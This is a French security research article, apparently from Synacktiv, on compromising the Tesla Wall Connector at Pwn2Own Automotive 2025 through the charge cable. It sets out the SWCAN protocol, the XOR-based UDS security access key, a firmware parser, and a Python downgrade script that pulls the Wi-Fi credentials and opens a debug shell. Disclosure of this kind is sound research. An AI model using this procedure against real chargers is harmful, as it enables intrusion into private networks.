Attaque du Tesla Wall connector depuis le port de charge

Rédigé par David Berard - 17/06/2025 - dans Hardware , Exploit , Reverse-engineering - Téléchargement

En janvier 2025, Synacktiv a participé à Pwn2Own Automotive avec plusieurs cibles. L'une d'elles était le Tesla Wall Connector, le chargeur domestique pour véhicules électriques de Tesla. Nous avons présenté une attaque utilisant le connecteur de charge comme point d’entrée, en communiquant avec le chargeur via un protocole non standard (pour ce type d’application). Nous avons exploité une faille logique pour installer un firmware vulnérable sur l’appareil. Cet article explique comment nous avons étudié l’appareil, comment nous avons construit un simulateur de voiture Tesla pour communiquer avec le chargeur, et comment nous avons exploité cette faille logique pendant la compétition.

Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus

Une surface d’attaque intéressante

Au cours des dernières années, Synacktiv a analysé les véhicules Tesla pour le concours Pwn2Own. En procédant à l’ingénierie inverse des mécanismes de mise à jour du système d’infodivertissement et de la passerelle de sécurité, nous avons découvert quelque chose d’intéressant : les voitures Tesla semblent capables de mettre à jour le Tesla Wall Connector via le câble de charge.

Upgradable ECUs in the Security gateway updater
Liste des ECUs pouvant être mis à jour dans le logiciel de mise à jour sur la security gateway

Cette fonctionnalité n’est pas documentée publiquement du point de vue de l’utilisateur, et ni le matériel ni le protocole sous-jacent n’avaient encore été analysés publiquement.

Compte tenu du potentiel de cette surface d’attaque, nous avons commencé à l’étudier avant même que le Wall Connector ne soit annoncé comme participant à la compétition.

Introduction rapide aux chargeurs de véhicules électriques

switch

Un chargeur domestique de VE peut paraître complexe, mais en réalité, sa fonction principale se résume à un simple interrupteur électrique.

Le rôle principal du chargeur est d’ouvrir ou fermer des relais électriques pour connecter le véhicule au réseau, sans transformer ni réguler la puissance elle-même.

La décision d’activer ou non les relais repose sur divers contrôles et peut inclure une communication bidirectionnelle entre la voiture et le chargeur via des protocoles standardisés — cependant, la plupart des chargeurs domestiques ne mettent pas en œuvre ces protocoles.

Deux signaux sont essentiels pour la charge d’un VE : le Proximity Pilot (PP) et le Control Pilot (CP). Les deux sont référencés à PE (la terre).

 

type 2
Type 2 connector used in Europe

Proximity Pilot (PP)

Le rôle principal du Proximity Pilot est de détecter la connexion d’un véhicule et d’indiquer la capacité en courant du câble de charge.

Pour cela, la voiture applique une tension constante à un circuit diviseur de tension. Le câble contient une résistance correspondant au courant maximal supporté, permettant au véhicule et au chargeur de détecter la capacité du câble.

Une résistance supplémentaire peut être ajoutée au diviseur de tension pour arrêter la charge lorsqu’un bouton est pressé sur la poignée (R7 dans le schéma ci-dessous).

J1772 PP circuit
J1772 PP circuit

Control Pilot (CP)

Le signal Control Pilot sert à gérer le processus de charge. Il remplit plusieurs fonctions :

  • Communiquer à la voiture la capacité maximale en courant du chargeur,

  • Coordonner le début et l’arrêt de la charge,

  • Détecter les erreurs ou défauts.

Le signal CP est un signal PWM (modulation de largeur d’impulsion) à 1 kHz généré par le chargeur. Le rapport cyclique de ce signal indique le courant maximum que le chargeur peut fournir.

Le véhicule répond en tirant le signal à un niveau bas à travers des résistances spécifiques pour indiquer son état de charge (connecté, prêt, en charge, ou en défaut).

En mode Vehicle-to-Grid (V2G), l’interface CP est étendue à une couche de communication de plus haut niveau, typiquement via Power Line Communication (PLC) sur la ligne CP. Cela permet l’échange de paquets IP entre le véhicule et le chargeur, permettant des fonctions telles que : gestion dynamique de la charge, négociation de contrat énergétique, ou encore transfert d’énergie bidirectionnel.

Le Tesla Wall Connector

Le Tesla Wall Connector est un chargeur de VE en courant alternatif conçu pour des installations résidentielles, publiques ou semi-publiques (maisons, hôtels, entreprises, parkings). Il prend en charge le monophasé et le triphasé, jusqu’à 22 kW, selon la configuration électrique.

L’appareil est conçu pour se connecter au réseau Wi-Fi du propriétaire afin de communiquer avec le cloud Tesla pour la télémétrie et le contrôle à distance via l’application mobile Tesla.

Il semble inclure un lecteur NFC, bien qu’aucune fonctionnalité actuelle ne l’utilise, il est probablement destiné à un usage futur.

Phase de configuration

qr code with WiFi PSK

Le Wi-Fi de l’appareil fonctionne en mode point d’accès (AP) dans les cas suivants :

  • Quand l’appareil n’est pas encore configuré,

  • Quand le bouton de la poignée de charge est maintenu plusieurs secondes,

  • Pendant quelques secondes au démarrage de l’appareil.

Le SSID et le mot de passe sont imprimés dans le manuel utilisateur, ne peuvent pas être changés, et ne sont pas censés être accessibles à un attaquant.

Dans cet article, nous démontrons comment ces identifiants peuvent être récupérés via le câble de charge.

Matériel

pcbZDI a publié une description matérielle détaillée de l’appareil ; nous ne détaillons ici que les composants nécessaires à cet article.

Le Tesla Wall Connector Gen 3 repose sur deux composants principaux :

  • Une carte de connectivité AW-CU300 pour le Wi-Fi et l’application principale (connexion au cloud, serveur API, etc.). Elle embarque un SoC Marvell 88MW300 (désormais chez NXP), basé sur un ARM Cortex-M4.

  • Un microcontrôleur STM32 chargé de la gestion des capteurs, de la mesure de puissance, et du contrôle des relais.

Les deux circuits communiquent via UART, en échangeant des messages sérialisés avec Protocol Buffers (Protobuf).

Fait intéressant, le PCB contient un emplacement pour une puce Qualcomm PLC, absente des appareils analysés. Aucun autre composant ne supportant le PLC, l’appareil n’est pas compatible V2G standard. Cela signifie que Tesla utilise un protocole propriétaire pour communiquer avec ses véhicules.

 

 

Analyse du protocole

Le meilleur moyen de comprendre le protocole entre le Wall Connector et la voiture Tesla est de connecter un oscilloscope aux signaux PP et CP. Voici ce que l’on observe :

CP and PP signals

La phase initiale de communication repose sur un signalement de base à l’aide de résistances dans un circuit diviseur de tension. Mais une fois que la voiture active le signal de charge (en tirant la ligne PWM à +6V/-12V avec une résistance supplémentaire), un protocole non standard apparaît sur la ligne CP.

En zoomant, on reconnaît un protocole bien connu : le CAN (Controller Area Network), mais utilisé en configuration Single-Wire (SWCAN).

swcan
Single Wire CAN

 

Rétro-ingénierie

Pour commencer, il nous faut le firmware. Plusieurs méthodes permettent de l’obtenir :

  • Le site de support Tesla propose des firmwares pour mise à jour hors ligne (initialement obsolètes, maintenant à jour),

  • L’application mobile Tesla contient une ancienne version,

  • Les mises à jour de l’infodivertissement des véhicules incluent aussi le firmware du Wall Connector.

Firmware extraction

Les firmwares du Wall Connector utilisent un format binaire propriétaire pour le SoC Marvell. Voici un script Python pour extraire les différentes parties :

import sys
import struct

data = bytearray(open(sys.argv[1], "rb").read())

header_len = struct.unpack("<I", data[4:8])[0]
header = data[:header_len]

tlv_offset=0xC
while tlv_offset < header_len:
    t = data[tlv_offset]
    l = struct.unpack("<H", data[tlv_offset+1:tlv_offset+3])[0]
    v = data[tlv_offset+3:tlv_offset+3+l]
    tlv_offset += 3 + l

tlv_offset=0x14

if header.startswith(b"SBFH"):
    print("Good magic")
else:
    print("Bad magic")
    exit(1)

header_data = data[0xC:header_len]
mrvl_header = data[header_len:header_len+0x14]
seg_header_offset = header_len + 0x14
number_of_segment=struct.unpack("<I", mrvl_header[3*4:4*4])[0]

last_offset=0
for seg in range(number_of_segment):
    header_offset = seg_header_offset+seg*0x14
    crc_pos = header_offset + 0x10
    seg_header=data[header_offset:header_offset+0x14]
    offset = struct.unpack("<I", seg_header[4:8])[0] + header_len
    crc = struct.unpack("<I", seg_header[0x10:0x14])[0]
    size = struct.unpack("<I", seg_header[0x8:0xC])[0]
    load_addr = struct.unpack("<I", seg_header[0xC:0x10])[0]
    seg_data = data[offset:offset+size]
    last_offset = offset+size

    file = "segment_%08x.bin" % load_addr
    print("writing %s" % file)
    f = open(file,"wb")
    f.write(seg_data)
    f.close()
$ python3 parse.py WC3_PROD_OTA_24.28.3_8c6a4dfba4384e.prodsigned.bin
Good magic
writing segment_00100000.bin
writing segment_1f002630.bin
writing segment_20000040.bin

Le fichier important est segment_1f002630.bin, qui contient le code ARM.

Ce firmware correspond à la carte AW-CU300, qui gère à la fois la communication cloud et la mise à jour du STM32 (inclus dans le firmware).
L’AW-CU300 exécute FreeRTOS, avec plusieurs tâches logiques applicatives.

Nous avons analysé l’interface CAN, seul lien accessible depuis le port de charge. Les messages CAN sont traités par le STM32 et transmis à l’AW-CU300 via UART (Protobuf).

UDS

Fait intéressant, l’AW-CU300 implémente une pile UDS (Unified Diagnostic Services).
Le CAN ID 0x604 est acheminé vers l’AW-CU300 et interprété comme UDS sur ISO-TP.

Les commandes UDS de mise à jour firmware supportées sont :

  • 0x34 – Request Download

  • 0x36 – Transfer Data

  • 0x37 – Request Transfer Exit

Le flash de l’AW-CU300 est divisé en deux emplacements : un actif et un passif. Le nouveau firmware est écrit dans le passif, puis activé.

Firmware Update Procedure

  1. Ouvrir une session UDS (niveau 2)

  2. Authentification via Security Access (niveau 5)

    • Le challenge est une valeur fixe de 16 octets

    • La réponse est chaque octet XOR avec 0x35

  3. Routine 0xFF00 : préparation (effacement) du slot passif

  4. Écriture 0x0E dans l’identifiant 0x102 via Write Data By Identifier

  5. Upload du firmware avec Request Download et Transfer Data

  6. Routine 0x201 : activation du nouveau firmware

  7. Routine 0x202 : redémarrage

Si un véhicule est connecté, le redémarrage est différé de 5 minutes après déconnexion.

À l’appel de 0x201, le format et le CRC sont vérifiés. Aucune signature n’est vérifiée à ce stade. Celle-ci semble réservée au bootloader, qui n’est pas mis à jour. Aucune protection contre le downgrade n’est présente.

Firmware avec fonctions de debug

En 2021, nous avons extrait l’eMMC du système d’infodivertissement (version 2020.48.35.5). Elle contenait une version ancienne du firmware Wall Connector : 0.8.58.

Cette version expose des fonctions de débogage absentes des versions récentes :

  • Un shell TCP de debug (SDK AW-CU300) accessible via le Wi-Fi AP d’installation,

  • Le SSID et PSK sont récupérables via UDS.

Plan d’attaque

Le plan d'attaque est le suivant :

  1. Downgrader le firmware vers la version 0.8.58

  2. Utiliser UDS pour récupérer les identifiants Wi-Fi

  3. Se connecter au Wi-Fi d’installation

  4. Accéder au shell TCP via ce réseau

Pour cela, nous avons simulé une voiture Tesla afin d’interagir avec le chargeur via CAN et envoyer des commandes UDS.

Création d’un simulateur de voiture pour la communication SWCAN

Pour simuler une voiture, nous avons construit une petite carte electronique. Le premier objectif était d’émuler le comportement des lignes CP et PP avec un timing précis afin de déclencher la transition du chargeur en mode de communication SWCAN.
Nous avons réalisé cela à l’aide de relais contrôlés par un Raspberry Pi, permettant de commuter différentes résistances sur les lignes CP et PP.

simulator schematics

Ensuite, nous avons modifié un adaptateur USB-CAN classique (FYSETC UCAN) pour qu’il supporte le SWCAN, en remplaçant le transceiver d’origine par un NCV7356.

Location of the CAN transciver

Tout ce matériel a été intégré dans une boîte contenant le connecteur de charge.

simulator boxsimulator box

Le Raspberry-Pi utilisait les bibliothèques python-can et udsoncan pour exécuter la logique de downgrade :

import can, udsoncan, isotp

def tesla_uds_algo(level, seed, params=None):
    key = bytearray(seed)
    for i in range(len(key)):
        key[i] = key[i] ^ 0x35
    return bytes(key)

bus = can.Bus(interface='socketcan', channel='can0', bitrate=33300, ignore_rx_error_frames=False)
# ...
with Client(conn, config=uds_config) as client:
    client.set_config('security_algo', tesla_uds_algo)
    client.change_session(2)
    client.unlock_security_access(5)
    client.routine_control(routine_id=0xFF00, control_type=1) # prepare the passive firmware slot
    memloc = MemoryLocation(address=0, memorysize=len(data_to_send), address_format=32, memorysize_format=32)
    client.request_download(memory_location=memloc)
    while len(data):
        client.transfer_data(sequence_number=seq, data=chunk)
        # ...
    client.request_transfer_exit()
    client.routine_control(routine_id=0x201, control_type=1) # switch to new firmware
    client.routine_control(routine_id=0x202, control_type=1) # reboot
    # ...

La vitesse faible du bus (33.3 kbps) rend le processus de downgrade très lent : plus de 15 minutes.

Une fois redémarré avec le vieux firmware, on extrait les identifiants Wi-Fi :

    psk = bytes(client.read_data_by_identifier_first(0x501))
    mac = bytes(client.read_data_by_identifier_first(0xf040))
    psk = psk.replace(b"\x00", b"")

    ssid = "TeslaWallConnector_%02X%02X%02X" % (mac[-3], mac[-2], mac[-1])

Avec le SSID et le mot de passe, nous nous connectons au Wi-Fi :

david@usb-rpi:~/tesla $ python3 wifi.py
[i] Configure GPIO
[i] Configuring single wire can in normal mode
[i] Enable proximity load
[i] Connect CP circuit
[i] CP circuit: activate charge load
[i] Connect CAN transciver
[+] All good
[i] SSID = TeslaWallConnector_2A0B79
[i] PSK = BYHPVDZEFNGG
[i] Connecting to WiFi !
[+] SSID UP connecting
[+] Connected !!!!



$ telnet 192.168.92.1
# help
sysinfo (sysinfo -h)
memdump (memdump.[b|h|w] <address> <# of objects>)
memwrite (memwrite.[b|h|w] <address> <value> [count])

 

Exploitation

Lors du concours, il fallait démontrer l'exécution de code. Le shell seul ne suffisait pas.

Même si des commandes sensibles étaient exposées, memwrite n’était pas fiable — même sur des adresses valides, le périphérique crashait.

Nous avons identifié et exploité un dépassement de tampon global dans la logique de parsing des commandes du shell. Le tableau des arguments (16 entrées) n’est pas borné. À partir du 17e argument, les pointeurs écrasent les entrées de la table des commandes, donnant le contrôle de l’exécution.

Aucune protection mémoire n'étant active (tout est RWX), l’exécution de code arbitraire a été immédiate.

Conclusion

L'exploit a fonctionné du premier coup pendant Pwn2Own, en 18 minutes (principalement à cause du bus SWCAN lent). Nous avons déclenché un payload visible (clignotement de LED).

Puisque le Wall Connector est connecté au réseau local (domicile, hôtel, entreprise…), un accès au chargeur peut offrir un point d’entrée sur le réseau privé.

Tesla a corrigé cette vulnérabilité en implémentant une protection contre le downgrade, bloquant notre méthode d’attaque.